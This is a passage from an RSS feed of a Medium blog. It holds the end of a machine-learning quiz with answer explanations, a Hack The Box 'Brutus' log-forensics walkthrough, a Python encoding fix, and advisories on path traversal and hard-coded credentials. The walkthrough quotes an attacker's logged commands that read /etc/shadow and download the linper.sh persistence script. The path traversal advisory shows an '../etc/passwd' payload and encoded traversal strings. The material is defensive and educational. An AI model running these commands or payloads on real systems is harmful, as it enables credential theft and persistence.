clustering, association rules, and dimensionality reduction, without relying on external labels.</li><li>Typical applications of supervised learning are classification and regression, and it is usually not suitable for anomaly detection tasks.</li><li>If unsupervised learning is combined with a small amount of labeled data, it completely becomes supervised learning.</li><li>Supervised learning relies on labeled datasets and learns a mapping function between inputs and targets by minimizing the difference between outputs and true labels.</li><li>All supervised learning tasks must have a large amount of fully labeled data; otherwise, no effective model training can be performed.</li><li>Unsupervised learning does not require target variables and learns patterns only from the feature distribution of the input data itself.<br> (A) 3, 5, 6<br> (B) 1, 4, 6<br> (C) 2, 4, 6<br> (D) 2, 3, 5</li></ol><p><strong>Explanation:</strong> Statements 2, 3, and 5 are incorrect: supervised learning can also be used in anomaly detection, combining unsupervised learning with a small amount of labels does not fully make it supervised learning, and effective models can still be trained without a large fully labeled dataset in all cases.</p><p><strong>41.</strong> A travel platform wants to build a model to predict whether a customer will book again through the platform next time. The data include customer ID, age, number of trips, average spending amount, main mode of transportation (<strong>train / airplane / self-driving / bus</strong>), membership level (<strong>regular / advanced / platinum</strong>), whether the trip is overseas, and so on. Which feature engineering method is most suitable for handling the <strong>“main mode of transportation”</strong> field?<br> (A) Boolean Conversion<br> (B) Ordinal Encoding<br> (C) Numerical Standardization<br> (D) One-hot Encoding</p><p><strong>Explanation:</strong> The “main mode of transportation” field is a nominal categorical variable with no natural order, so one-hot encoding is the most suitable method.</p><p><strong>42.</strong> An international medical research institution wants to use patient data from hospitals in different regions to build a machine learning model that predicts early disease risk. Due to legal restrictions in different countries, raw patient data cannot be centralized on a single server. In this situation, which of the following methods best satisfies both <strong>“data stays within each hospital”</strong> and <strong>“the model can still learn across hospitals”</strong>?<br> (A) Data Anonymization<br> (B) Differential Privacy<br> (C) Federated Learning<br> (D) Cross-validation</p><p><strong>Explanation:</strong> Federated learning allows hospitals to keep patient data locally while still collaboratively training a shared model across institutions.</p><p><strong>43.</strong> A company wants to build an employee turnover risk prediction model. The dataset contains numerical features such as <strong>annual performance score</strong>, <strong>average monthly overtime hours</strong>, and <strong>age</strong>. Since the ranges of these features differ greatly (for example, performance score <strong>1–5</strong>, overtime hours <strong>0–80</strong>, age <strong>20–65</strong>), directly inputting them into a <strong>Logistic Regression</strong> model trained with gradient descent may lead to slow convergence or biased weights. Which feature engineering method is most suitable for improving training efficiency and accuracy for these numerical features?<br> (A) Boolean Conversion<br> (B) Time Series Decomposition<br> (C) One-hot Encoding<br> (D) Numerical Standardization</p><p><strong>Explanation:</strong> Numerical standardization is the most suitable method because it brings features with different ranges onto a comparable scale, improving gradient-based optimization in Logistic Regression.</p><p><strong>44.</strong> In machine learning, which of the following is the most typical application scenario of <strong>clustering</strong>?<br> (A) Training a model to detect future fraudulent transactions based on historical transaction records and labeled fraud cases<br> (B) Building a model to predict whether a patient has a particular disease using medical data and diagnostic labels<br> (C) Automatically dividing customers into several groups based on their consumption behavior and characteristics for differentiated marketing<br> (D) Training a deep learning model to recognize object types in images using a large amount of labeled image data</p><p><strong>Explanation:</strong> Clustering is typically used to automatically group similar samples, such as segmenting customers into different groups based on their behavior and characteristics.</p><p><strong>45.</strong> A hospital research team has collected a large amount of patients’ <strong>systolic blood pressure</strong> data. After examination, the values appear to follow an approximately <strong>normal distribution</strong>. Before conducting further model analysis, the researchers want to properly handle possible extreme blood pressure values. Which of the following approaches is most appropriate?<br> (A) Directly delete all extremely high or low blood pressure values in order to keep only the most representative patient samples.<br> (B) Use <strong>log transformation</strong> to compress the data closer to a normal distribution and reduce the influence of extreme values.<br> (C) Detect outliers using <strong>Z-scores</strong> or standard deviation ranges, and decide whether to adjust or remove them according to research needs.<br> (D) Encode detected outliers using <strong>Label Encoding</strong> and convert them into ordinal labels to avoid affecting the original distribution.</p><p><strong>Explanation:</strong> If the data are approximately normally distributed, outliers can be detected using Z-scores or standard deviation ranges, and then handled according to the research goal instead of being removed blindly.</p><p><strong>46.</strong> An e-commerce company wants to predict whether users will purchase a specific product. The data include many user attributes and behavioral features. The analyst hopes to select the features with the greatest predictive value for purchase outcomes in order to improve model performance. Which of the following best matches the concept of <strong>supervised feature selection</strong>?<br> (A) Selecting features based on their overall distribution, variance, or information content, without directly referring to the target variable<br> (B) Evaluating the correlation between each feature and the target variable, and selecting the features that contribute the most to prediction results<br> (C) Using a model to assess feature importance for prediction results, and retaining the columns that have a greater effect on the target variable<br> (D) Transforming features into new features through dimensionality reduction methods such as PCA, and then using them for model training</p><p><strong>Explanation:</strong> Supervised feature selection focuses on how strongly each feature contributes to predicting the target variable, so features are selected based on their predictive usefulness.</p><p><strong>47.</strong> When training a neural network, which of the following practices is most commonly used to improve convergence speed and stability while avoiding <strong>vanishing gradients</strong> or <strong>exploding gradients</strong>?<br> (A) Randomly rotating or horizontally flipping input data to increase data diversity<br> (B) Using <strong>ReLU</strong> or its variants as the activation function of hidden layers to improve gradient propagation<br> (C) Reducing the sample size to increase training speed<br> (D) Standardizing the target variable or features</p><p><strong>Explanation:</strong> ReLU and its variants are commonly used because they improve gradient propagation, helping neural networks train faster and reducing vanishing gradient problems.</p><p><strong>48.</strong> If you want to examine the distribution of a certain <strong>continuous dataset</strong> — such as its concentration, skewness, or whether it is multimodal — which of the following application scenarios is most suitable for analysis using a <strong>histogram</strong>?<br> (A) Exploring the overall distribution characteristics of customer age data and checking whether there is abnormal concentration or dispersion<br> (B) Comparing the monthly sales trends of different products to observe seasonal fluctuations<br> (C) Tracking the time-series changes in a company’s revenue over the past year to understand the overall growth trend<br> (D) Examining the relationship between product price and monthly sales volume to evaluate whether there is a linear correlation</p><p><strong>Explanation:</strong> A histogram is ideal for examining the distribution of continuous data, such as whether ages are concentrated in certain ranges, skewed, or show multiple peaks.</p><p><strong>49.</strong> Which of the following is <strong>not</strong> one of the common evaluation indicators identified by Taiwan’s Ministry of Digital Affairs AI Product and Evaluation Center when assessing the <strong>safety of large language models</strong>?<br> (A) Data complexity<br> (B) Factual accuracy<br> (C) Bias and discrimination<br> (D) Malicious and abuse potential</p><p><strong>Explanation:</strong> Data complexity is not one of the common safety evaluation indicators emphasized by Taiwan’s Ministry of Digital Affairs AI Product and Evaluation Center for large language models.</p><p><strong>50.</strong> A cloud service company plans to deploy a <strong>large language model</strong> in an online system and process millions of user requests per day using <strong>batch inference</strong>. When evaluating possible challenges, which of the following is <strong>usually not considered a major difficulty during the batch inference stage</strong>?<br> (A) How to ensure the coverage and labeling quality of training data to avoid biased model outputs<br> (B) How to reduce inference latency and maintain real-time responsiveness as batch size increases<br> (C) How to effectively manage and allocate large volumes of input data during inference to avoid resource congestion<br> (D) How to schedule inference tasks precisely in a cluster environment in order to improve the utilization of hardware resources such as GPUs/TPUs</p><p><strong>Explanation:</strong> Training data coverage and labeling quality are challenges mainly associated with the training stage, not the batch inference stage, so they are not usually considered a major inference difficulty.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=718794a84b8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Brutus (Sherlock)]]></title>
            <link>https://medium.com/@dd565345421/htb-brutus-sherlock-d6d4676ea32f?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6d4676ea32f</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 02:23:26 GMT</pubDate>
            <atom:updated>2026-02-26T02:23:26.695Z</atom:updated>
            <content:encoded><![CDATA[<p>In this very easy Sherlock, you’ll get familiar with Unix <strong>auth.log</strong> and <strong>wtmp</strong> logs.</p><p>We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.</p><p>While auth.log is commonly used for brute-force analysis, this challenge is a good reminder that it can also reveal much more, including:</p><ul><li>Privilege escalation</li><li>Persistence</li><li>Even some visibility into command execution</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*rycKBT7oZWtW1aFws1vhlQ.png" /></figure><h3>Terminology</h3><blockquote><strong><em>auth.log</em></strong><em> = authentication / login-related logs</em></blockquote><p>Common things to look for during investigations:</p><ul><li>Brute force attempts</li><li>Attacker source IP</li><li>Which account was guessed successfully</li><li>Signs of sudo privilege escalation or lateral movement</li></ul><blockquote><strong><em>wtmp</em></strong><em> = “login history” record file (more like statistical/session records)</em></blockquote><p>Common things to look for during investigations:</p><ul><li>The actual time an attacker successfully logged in</li><li>Unusual login times (e.g., 03:33 AM)</li><li>Which account’s sessions look suspicious</li><li>Repeated login/logout patterns</li></ul><blockquote><strong><em>Confluence</em></strong><em> is Atlassian’s internal wiki/documentation system</em></blockquote><p>Many companies use it for:</p><ul><li>Documentation and runbooks</li><li>Knowledge bases</li><li>SOPs, workflows, project notes</li></ul><h3>Files Provided</h3><p>From the official package, we get several files, including a .py script and the log artifacts mentioned in the prompt.</p><p>After checking the Python file, it’s clear this is an official helper script for reading <strong>wtmp</strong>.</p><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br><br># simple utmp parser<br># Reference<br># http://man7.org/linux/man-pages/man5/utmp.5.html<br><br># Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);<br># you may not use this file except in compliance with the License.<br># You may obtain a copy of the License at<br>#<br># http://www.apache.org/licenses/LICENSE-2.0<br>#<br># Unless required by applicable law or agreed to in writing, software<br># distributed under the License is distributed on an &quot;AS IS&quot; BASIS,<br># WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.<br># See the License for the specific language governing permissions and<br># limitations under the License.<br><br>import os, time, datetime, sys, csv, argparse, struct, io, ipaddress<br><br>sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding=&#39;utf-8&#39;)<br><br>parser = argparse.ArgumentParser(description=&quot;utmp parser&quot;)<br>parser.add_argument(&quot;input&quot;, help=&quot;specified input utmp file&quot;)<br>parser.add_argument(&quot;-o&quot;, &quot;--output&quot;, help=&quot;specified output file name&quot;)<br>args = parser.parse_args()<br><br>input_file = args.input<br>output_file = args.output<br><br>row = [&quot;type&quot;, &quot;pid&quot;, &quot;line&quot;, &quot;id&quot;, &quot;user&quot;, &quot;host&quot;, &quot;term&quot;, &quot;exit&quot;, &quot;session&quot;, &quot;sec&quot;, &quot;usec&quot;, &quot;addr&quot;]<br><br>def parseutmp(utmp_filesize, utmp_file, tsv):<br><br>  STATUS = {<br>    0: &#39;EMPTY&#39;,<br>    1: &#39;RUN_LVL&#39;,<br>    2: &#39;BOOT_TIME&#39;,<br>    3: &#39;NEW_TIME&#39;,<br>    4: &#39;OLD_TIME&#39;,<br>    5: &#39;INIT&#39;,<br>    6: &#39;LOGIN&#39;,<br>    7: &#39;USER&#39;,<br>    8: &#39;DEAD&#39;,<br>    9: &#39;ACCOUNTING&#39;}<br>        <br>  record_field = []<br><br>  offset = 0<br>  while offset &lt; utmp_filesize:<br>    utmp_file.seek(offset)<br>    type = struct.unpack(&quot;&lt;L&quot;, utmp_file.read(4))[0]<br>    for k, v in STATUS.items():<br>      if type == k:<br>        type = v<br>    pid = struct.unpack(&quot;&lt;L&quot;, utmp_file.read(4))[0]<br>    line = utmp_file.read(32).decode(&quot;utf-8&quot;, &quot;replace&quot;).split(&#39;\0&#39;, 1)[0]<br>    id = utmp_file.read(4).decode(&quot;utf-8&quot;, &quot;replace&quot;).split(&#39;\0&#39;, 1)[0]<br>    user = utmp_file.read(32).decode(&quot;utf-8&quot;, &quot;replace&quot;).split(&#39;\0&#39;, 1)[0]<br>    host = utmp_file.read(256).decode(&quot;utf-8&quot;, &quot;replace&quot;).split(&#39;\0&#39;, 1)[0]<br>    term = struct.unpack(&quot;&lt;H&quot;, utmp_file.read(2))[0]<br>    exit = struct.unpack(&quot;&lt;H&quot;, utmp_file.read(2))[0]<br>    session = struct.unpack(&quot;&lt;L&quot;, utmp_file.read(4))[0]<br>    sec = struct.unpack(&quot;&lt;L&quot;, utmp_file.read(4))[0]<br>    sec = time.strftime(&quot;%Y/%m/%d %H:%M:%S&quot;, time.localtime(float(sec)))<br>    usec = struct.unpack(&quot;&lt;L&quot;, utmp_file.read(4))[0]<br>    addr = ipaddress.IPv4Address(struct.unpack(&quot;&gt;L&quot;, utmp_file.read(4))[0])<br>    record_field.extend([type, pid, line, id, user, host, term, exit, session, sec, usec, addr])        <br>    csv.writer(tsv, delimiter=&quot;\t&quot;, lineterminator=&quot;\n&quot;, quoting=csv.QUOTE_ALL).writerow(record_field)<br>    record_field = []<br>    offset += 384<br>  utmp_file.close()<br><br>if __name__ == &#39;__main__&#39;:<br>  if os.path.exists(input_file):<br>    with open(input_file, &quot;rb&quot;) as utmp_file:<br>      utmp_filesize = os.path.getsize(input_file)<br>      if output_file:<br>          tsv = open(output_file, &quot;w&quot;, encoding=&#39;UTF-8&#39;)<br>      else:<br>          tsv = sys.stdout<br>      csv.writer(tsv, delimiter=&quot;\t&quot;, lineterminator=&quot;\n&quot;, quoting=csv.QUOTE_ALL).writerow(row)<br>      parseutmp(utmp_filesize, utmp_file, tsv)<br>  else:<br>    print(&quot;No input file found&quot;)<br>  sys.exit(1)</pre><p>From the script we can see:</p><ol><li>It reads the input file using open(input_file, &quot;rb&quot;).</li></ol><p>Each record is assumed to be a fixed size (<strong>384 bytes</strong>), so it parses the file by iterating:</p><ul><li>offset = 0</li><li>offset += 384</li><li>offset += 384</li><li>…until EOF</li></ul><ol><li>It uses struct.unpack() to parse fields (the exact fields are defined in the row variable).</li></ol><p>The type field converts numeric values into readable statuses.</p><h3>Walkthrough</h3><h3>Task 1</h3><blockquote><em>Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?</em></blockquote><p>We can extract the source IPs from all Failed password entries:</p><pre>Select-String -Path .\auth.log -Pattern &quot;Failed password&quot; |<br>ForEach-Object {<br>    if ($_ -match &quot;from\s+(\d{1,3}(\.\d{1,3}){3})&quot;) { $matches[1] }<br>} | Select-Object -First 20<br>65.2.161.68<br>65.2.161.68<br>...</pre><p>If you’re on Linux, you can do something like:</p><pre>grep &quot;Failed password&quot; auth.log | awk &#39;{for(i=1;i&lt;=NF;i++) if($i==&quot;from&quot;) print $(i+1)}&#39; | head</pre><p>Since there’s only one IP, no extra counting is needed.</p><p><strong>Answer:</strong> 65.2.161.68</p><h3>Task 2</h3><blockquote><em>The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?</em></blockquote><p>First, list which usernames were targeted by the attacker:</p><pre>Select-String -Path .\auth.log -Pattern &quot;Failed password&quot; |<br>Where-Object { $_.Line -match &quot;from 65.2.161.68&quot; } |<br>ForEach-Object {<br>    if ($_.Line -match &quot;Failed password for (invalid user )?(\S+)&quot;) { $matches[2] }<br>} |<br>Group-Object |<br>Sort-Object Count -Descending</pre><p>Example output:</p><pre>Count Name<br>----- ----<br>   12 server_adm<br>   11 svc_account<br>   10 admin<br>    9 backup<br>    6 root</pre><p>So the attacker tested five accounts. Next, check successful logins:</p><pre>Select-String -Path .\auth.log -Pattern &quot;Accepted password&quot;</pre><p>Output:</p><pre>auth.log:12:  Mar  6 06:19:54 ... Accepted password for root from 203.101.190.9 ...<br>auth.log:281: Mar  6 06:31:40 ... Accepted password for root from 65.2.161.68 ...<br>auth.log:322: Mar  6 06:32:44 ... Accepted password for root from 65.2.161.68 ...<br>auth.log:360: Mar  6 06:37:34 ... Accepted password for cyberjunkie from 65.2.161.68 ...</pre><p>The first one looks like normal admin activity. The next two indicate brute-force success by the attacker.</p><p><strong>Answer:</strong> root</p><h3>Task 3</h3><blockquote><em>Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session…</em></blockquote><p>Usually there’s a small delay (session setup, PAM, environment init) between authentication success and the actual terminal session creation. So we want the <strong>real terminal session time</strong> from wtmp.</p><p>Convert wtmp using the provided script:</p><pre>python .\utmp.py .\wtmp -o .\wtmp.tsv</pre><p>Then search for the attacker IP:</p><pre>Select-String -Path .\wtmp.tsv -Pattern &quot;65.2.161.68&quot;</pre><p>Example results:</p><pre>wtmp.tsv:28: ... &quot;root&quot;        &quot;65.2.161.68&quot; ... &quot;2024/03/06 14:32:45&quot; ...<br>wtmp.tsv:30: ... &quot;cyberjunkie&quot; &quot;65.2.161.68&quot; ... &quot;2024/03/06 14:37:35&quot; ...</pre><p><strong>Important:</strong> My local timezone is <strong>UTC+8</strong>, but the answer must be in <strong>UTC</strong>, so subtract 8 hours.</p><p><strong>Answer:</strong> 2024/03/06 06:32:45</p><h3>Task 4</h3><blockquote><em>SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</em></blockquote><p>Looking back at Task 2, the attacker successfully logged in twice as root (auth.log:281 and auth.log:322). To be safe, I tried submitting both session IDs; the <strong>second successful login</strong> session ID was the correct one.</p><p>To view specific line ranges:</p><pre>(Get-Content .\auth.log)[321..355]</pre><p>Relevant lines:</p><pre>Mar  6 06:32:44 ... Accepted password for root from 65.2.161.68 ...<br>Mar  6 06:32:44 ... session opened for user root ...<br>Mar  6 06:32:44 ... New session 37 of user root.</pre><p><strong>Answer:</strong> 37</p><h3>Task 5</h3><blockquote><em>The attacker added a new user as part of their persistence strategy…and gave this new user account higher privileges. What is the name of this account?</em></blockquote><p>We already saw it in the logs while checking Task 4.</p><p><strong>Answer:</strong> cyberjunkie</p><h3>Task 6</h3><blockquote><em>What is the MITRE ATT&amp;CK sub-technique ID used for persistence by creating a new account?</em></blockquote><p>Search MITRE ATT&amp;CK for “create account” and you’ll find the sub-technique ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*af56DiTa2Xau8ABfmGPG0g.png" /></figure><p><strong>Answer:</strong> T1136.001</p><h3>Task 7</h3><blockquote><em>What time did the attacker’s first SSH session end according to auth.log?</em></blockquote><p>From the Task 4 log range we can see the disconnect time:</p><pre>Mar  6 06:37:24 ... Received disconnect from 65.2.161.68 ...<br>Mar  6 06:37:24 ... Disconnected from user root 65.2.161.68 ...</pre><p>Convert to the required format.</p><p><strong>Answer:</strong> 2024-03-06 06:37:24</p><h3>Task 8</h3><blockquote><em>The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</em></blockquote><p>Since the prompt is explicit, just search for sudo commands involving cyberjunkie:</p><pre>Select-String -Path .\auth.log -Pattern &quot;sudo:&quot; | Select-String -Pattern &quot;cyberjunkie&quot;</pre><p>Key lines:</p><pre>... COMMAND=/usr/bin/cat /etc/shadow<br>... COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</pre><p>The question asks for the command used to download the script:</p><p><strong>Answer:</strong><br> /usr/bin/curl <a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh">https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</a></p><h3>Closing Notes</h3><p>That’s the end of this lab. It’s intentionally easy — mainly designed to help us get comfortable querying artifacts like auth.log and wtmp.</p><p>Personally, I usually work from Windows, so this write-up uses <strong>PowerShell</strong> for the investigation steps.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6d4676ea32f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UnicodeDecodeError: ‘cp950’ codec can’t decode]]></title>
            <link>https://medium.com/@dd565345421/unicodedecodeerror-cp950-codec-can-t-decode-60ce2a026159?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/60ce2a026159</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Wed, 25 Feb 2026 08:45:56 GMT</pubDate>
            <atom:updated>2026-02-25T08:45:56.567Z</atom:updated>
            <content:encoded><![CDATA[<p>When a Python program runs a command with subprocess on Windows, the command output may contain <strong>Chinese characters</strong> or <strong>special symbols</strong>. If Python tries to decode that output using cp950 (Traditional Chinese Windows code page), it can crash with a UnicodeDecodeError. In your note, the key fix is to use <strong>cp65001 (UTF-8)</strong> instead.</p><h3>The Problem</h3><p>In your case, the issue happens when subprocess output includes Chinese text or special characters, and Python reads it in a background thread using cp950, causing the program to fail.</p><h3>Solution:</h3><p>A safe approach is to always decode subprocess output using UTF-8 and handle invalid characters gracefully.</p><pre>import subprocess<br>import threading<br>def run_subprocess(cmd):<br>    &quot;&quot;&quot;<br>    Safely call subprocess:<br>    always decode with UTF-8 and avoid crashes caused by special characters.<br>    &quot;&quot;&quot;<br>    try:<br>        result = subprocess.run(<br>            cmd,<br>            stdout=subprocess.PIPE,<br>            stderr=subprocess.PIPE,<br>            text=True,<br>            encoding=&quot;utf-8&quot;,<br>            errors=&quot;replace&quot;<br>        )<br>        return result.stdout<br>    except Exception as e:<br>        print(f&quot;[ERROR] {e}&quot;)<br>        return &quot;&quot;<br>def main():<br>    cmd = [&quot;your_command_here&quot;]<br>    output = run_subprocess(cmd)<br>    # Prevent NoneType issues<br>    if output and output.strip():<br>        print(&quot;=== Output ===&quot;)<br>        print(output)<br>    else:<br>        print(&quot;[INFO] No output (or only whitespace).&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>Make It Reusable: A Generic Command Wrapper</h3><p>Creating a reusable helper function for other tools, which is a great habit.</p><pre>def run_cmd(cmd):<br>    result = subprocess.run(<br>        cmd,<br>        capture_output=True,<br>        text=True,<br>        encoding=&quot;utf-8&quot;,<br>        errors=&quot;ignore&quot;<br>    )<br>    return result.stdout.strip()</pre><p>With this wrapper, you can consistently treat command output as UTF-8 (cp65001) across different tools.</p><h3>Example Usage</h3><h3>nmap</h3><pre>run_cmd([&quot;nmap&quot;, &quot;-Pn&quot;, &quot;10.0.0.5&quot;])</pre><h3>openssl</h3><pre>run_cmd([&quot;openssl&quot;, &quot;x509&quot;, &quot;-in&quot;, &quot;cert.pem&quot;, &quot;-noout&quot;, &quot;-text&quot;])</pre><p>That makes the fix practical for everyday tooling workflows, especially when command output might contain mixed encodings or unusual symbols.</p><h3>Takeaway</h3><p>The core issue is not the command itself — it’s the <strong>decode step</strong>.<br> If your Windows Python script uses subprocess and may read multilingual output, explicitly setting:</p><ul><li>encoding=&quot;utf-8&quot;</li><li>errors=&quot;replace&quot; (or errors=&quot;ignore&quot;)</li></ul><p>can save you from frustrating crashes caused by cp950 decoding errors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60ce2a026159" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CWE-22: Path Traversal]]></title>
            <link>https://medium.com/@dd565345421/cwe-22-path-traversal-be2ec4bd6598?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/be2ec4bd6598</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 05:44:51 GMT</pubDate>
            <atom:updated>2026-02-24T05:44:51.653Z</atom:updated>
            <content:encoded><![CDATA[<p>If a web application allows users to input file paths without proper restrictions, it may be vulnerable to a <strong>Path Traversal</strong> attack. Attackers can use strings like ../ to escape the intended directory and access any readable file on the system.</p><p>For example:</p><pre>../../../../etc/passwd</pre><h3>1 Where the Vulnerability Happens (Code Example)</h3><p>Example code:</p><pre>public ServiceRespModal uploadSolutionExcelFile(MultipartFile file, String filePath) {<br>    try (DirectoryStream&lt;Path&gt; stream =<br>         Files.newDirectoryStream(Paths.get(filePath))) {<br>        ...<br>    }<br>}</pre><p>The issue in this code is that it directly uses the externally supplied filePath.</p><p>There is <strong>no</strong>:</p><ul><li>allowlist restriction</li><li>blocking of traversal strings like ../</li><li>restriction to a fixed directory</li><li>encoding validation or filtering</li></ul><h3>2 Possible Risks</h3><h3>Arbitrary File Read</h3><p>An attacker may be able to read:</p><ul><li>server configuration files</li><li>environment variables</li><li>API keys</li><li>log files</li><li>system account files (such as /etc/passwd)</li></ul><h3>Directory Listing / Directory Browsing</h3><p>An attacker may enumerate directory contents and learn the server structure.</p><h3>Triggering File-Processing Flows for Further Attacks</h3><p>If the application parses Excel files, an attacker may upload a malicious file and trick the application into executing a dangerous processing flow.</p><h3>3 Remediation Recommendations</h3><h3>Restrict Accessible Folders with an Allowlist</h3><p>Only allow the backend to access a specific directory:</p><pre>Path base = Paths.get(&quot;/opt/upload_dir&quot;).toAbsolutePath().normalize();<br>Path target = base.resolve(filePath).normalize();<br>if (!target.startsWith(base)) {<br>    throw new SecurityException(&quot;Invalid file path.&quot;);<br>}</pre><h3>Block Dangerous Patterns</h3><p>Block (or normalize first, then compare):</p><ul><li>..</li><li>paths starting with / or \</li><li>URL-decoded traversal payloads such as %2e%2e%2f</li></ul><h3>Do Not Accept a User-Specified Full Path</h3><p>Users should only provide a <strong>filename</strong>. The backend should decide the storage path.</p><pre>String safeFileName = StringUtils.cleanPath(uploadFile.getOriginalFilename());<br>Path uploadPath = Paths.get(&quot;/opt/file_upload/&quot; + safeFileName);</pre><h3>Use Safe Path Utilities Provided by the Framework</h3><p>For example, in Spring:</p><ul><li>StringUtils.cleanPath()</li><li>Path.normalize()</li></ul><p>These help handle traversal strings safely.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be2ec4bd6598" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CWE-798: Use of Hard-coded Credentials]]></title>
            <link>https://medium.com/@dd565345421/cwe-798-use-of-hard-coded-credentials-97105b5ae661?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/97105b5ae661</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 05:41:04 GMT</pubDate>
            <atom:updated>2026-02-24T05:41:04.340Z</atom:updated>
            <content:encoded><![CDATA[<p>Hard-coded credentials refer to directly embedding usernames, passwords, API keys, secrets, or tokens in code. This creates a security risk because attackers may obtain these credentials by reading source code, reverse-engineering binaries, or inspecting frontend assets.</p><p>Common risks include:</p><ol><li>Passwords or API keys hard-coded in frontend code</li><li>Credentials generated with a fixed and predictable pattern</li><li>Default passwords directly exposed in code</li><li>Password composition rules that are fixed and based on predictable user information</li></ol><p>This type of issue is often flagged by SAST (Static Application Security Testing) tools as <strong>High</strong> or <strong>Medium</strong> severity.</p><h3>Example</h3><p>Most SAST tools (such as SonarQube, Checkmarx, Snyk Code, GitLab SAST, etc.) use similar detection logic: they check whether hard-coded strings look like credentials, especially when variable names include keywords such as:</p><ul><li>password</li><li>token</li><li>secret</li><li>key</li><li>credential</li></ul><p>For example:</p><pre>const DEFAULT_PASSWORD = &quot;MEMBER_PHONE_37XXXXXX&quot;;</pre><p>Even if the value is not fully hard-coded, a <strong>predictable password pattern</strong> may still be treated as a risk.</p><p>For example:</p><pre>password = `${PWD_RANDOM}${values.phone}`;</pre><p>Even though RANDOM comes from an environment variable, SAST may still detect issues because:</p><ul><li>The password contains a fixed prefix/pattern</li><li>The password includes predictable user data (such as phone number or email)</li></ul><p>In other words, SAST may flag patterns like:</p><blockquote><strong><em>user data + fixed string</em></strong></blockquote><p>Because once an attacker knows the user’s information, the password becomes much easier to guess.</p><h3>Common Misunderstanding: Is Runtime Injection Always Safe?</h3><p>Not necessarily.</p><p>For example:</p><pre>const PWD_PREFIX = process.env.PWD_PREFIX ?? &quot;MEMBER_Intl_&quot;;<br>password: `${PWD}${values.phone}`;</pre><p>The problem is not only whether the value is “hard-coded” in the source code.<br> The bigger issue is that the <strong>entire password-generation logic is fixed and predictable</strong>.</p><h3>Remediation Recommendations</h3><h3>1 Do not generate passwords on the frontend</h3><p>Frontend code should not construct passwords.<br> Instead, let the backend generate a strong random password.</p><p><strong>Frontend (example idea):</strong> send only account/profile data and <strong>do not send </strong><strong>password</strong>.</p><pre>variables: {<br>  account: values.email,<br>  type: values.role,<br>  name: values.name,<br>  mobile: values.phone,<br>  department: values.department,<br>  // Do not send password<br>}</pre><p><strong>Backend should handle password creation</strong>, for example:</p><ul><li>Generate a random 12–16 character password</li><li>Send a “Set Password” link by email/SMS</li><li>Force password change on first login</li></ul><h3>2) Use an unpredictable random password</h3><p>If password generation must happen on the frontend (not recommended, but sometimes required), then use an unpredictable random value.</p><pre>import { randomUUID } from &quot;crypto&quot;;<br>password: randomUUID().replace(/-/g, &quot;&quot;).slice(0, 12);</pre><p>This approach helps because the password:</p><ul><li>Is difficult to guess</li><li>Has no fixed pattern</li><li>Does not contain user personal data</li><li>Is less likely to be flagged by SAST</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97105b5ae661" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP 307 Temporary Redirect]]></title>
            <link>https://medium.com/@dd565345421/http-307-temporary-redirect-76ab81c91b87?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/76ab81c91b87</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 03:25:30 GMT</pubDate>
            <atom:updated>2025-11-03T03:25:30.326Z</atom:updated>
